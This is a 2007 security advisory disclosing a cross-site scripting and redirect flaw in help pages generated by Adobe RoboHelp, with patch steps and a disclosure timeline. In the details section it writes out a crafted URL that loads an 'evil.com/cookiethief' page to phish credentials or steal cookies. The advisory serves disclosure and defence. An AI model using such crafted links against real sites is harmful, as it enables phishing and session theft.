Cross-Site Scripting in Adobe RoboHelp 6, Server 6 and X5


Hi, I'd like to inform you about a XSS-vulnerability in Adobe RoboHelp 6, RoboHelp Server 6 and RoboHelp X5. See attached advisory below. I - TITLE Security advisory: Cross-Site Scripting in RoboHelp 6, RoboHelp Server 6 and RoboHelp X5 II - SUMMARY Description: A Cross-Site Scripting Flaw in generated RoboHelp webpages allows an attacker to redirect users to arbitrary sites. Author: Michael Domberg (mdomberg at gmx dot li) Date: May 8th 2007 Severity: Medium References: http://www.devtarget.org/adobe-advisory-05-2007.txt III - OVERVIEW Adobe RoboHelp 6 is a complete, flexible, and user-friendly system for building, managing, and publishing engaging content for help systems and standalone knowledge bases. It is a core product in the Adobe portfolio for technical communicators. Adobe RoboHelp Server 6 extends and supports the capabilities of Adobe RoboHelp 6 to provide a complete online help and knowledge base solution. Easily deploy and manage up-to-date online content, control and monitor the use of web-based help systems in real time, and develop help systems for use with the Microsoft .NET Framework. More information about the product can be found online at http://www.adobe.com/products/robohelp/ http://www.adobe.com/products/robohelpserver/ IV - DETAILS The RoboHelp compiler generates a bunch of .html-files. The URL to the generated content looks like: http://server/project_name/en/frameset-7.html#main_content.html where ..server ist the name of the webserver ..project_name is a freely choosable name of the help project ..en is the shortname of the generated language ..frameset-7.html is the name of the file which contains the frameset of the help system ..main_content.html is the name of the page that should be displayed within the main frame The JavaScript parts of "frameset-7.html" analyze the parameters behind the "#"-sign and load the specified page into the main frame. The script fails to sanitize the parameter so any URL could be specified to be loaded into the frame. An malicious user might use URLs like: http://server/project_name/en/frameset-7.html#http://evil.com/cookiethief The parameter could be encoded with Unicode to hide the the real location of the page. Users that are tricked into clicking on such malicious links might be led to pages that fit into the "look-and-feel" of the original page and that query for credentials. V - ANALYSIS The severity of this vulnerability is to be considered "low". An attacker has to trick a victim into clicking the malicious URL and entering confidential data on that site. Another possible attack is to get the victim's cookies. Due to the fact that the vulnerability affects a development tool there may be other websites and software products that indirectly affected by this flaw. VI - EXPLOIT CODE There is no code needed to exploit this vulnerability. It can simply be exploited by entering a specially crafted URL into a browser. VII - WORKAROUND/FIX The vendor addressed the vulnerability by publishing patches for each affected product. After downloading the patches, the following actions have to be taken: - apply the patch - restart RoboHelp / RoboHelp Server - re-generate all content - replace the old (vulnerable) content with the recently generated one. VIII - DISCLOSURE TIMELINE 14. January 2007 - Notified vendor of affected software 26. January 2007 - Vulnerability confirmed 08. May 2007 - Release of patch 08. May 2007 - Public disclosure Regards, Michael Domberg, www.devtarget.org